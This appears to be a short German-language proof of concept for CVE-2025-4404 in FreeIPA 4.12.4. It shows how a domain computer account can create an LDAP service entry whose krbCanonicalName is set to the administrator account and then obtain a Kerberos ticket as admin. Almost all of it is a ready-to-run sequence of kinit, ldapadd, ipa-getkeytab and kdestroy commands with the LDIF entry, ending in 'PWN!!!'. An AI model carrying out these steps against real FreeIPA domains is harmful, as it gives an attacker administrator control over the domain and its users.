
POC for CVE-2025-4404
PoC für CVE-2025-4404
Wenn Sie ein Domänencomputer-Konto (host/pc1.[email protected]) haben, können Sie standardmäßig den Dienst hinzufügen. Und Sie können krbPrincipalName und krbCanonicalName festlegen. Standardmäßig fehlt der krbCanonicalName-Attributwert für das FreeIPA 4.12.4 Administrator-Konto. Sie können ein Kerberos-Ticket mit dem Wert krbPrincipalName anfordern, aber das Ticket enthält den Wert krbCanonicalName.
Los geht's
Zuerst fordern wir ein Ticket im Namen des Computer-Kontos an:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
Hinzufügen zum LDAP-Dienstkonto:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]PWN!!!
Sie können das Ticket überprüfen mit:
ldapwhoami -H ldap://dc1.test.local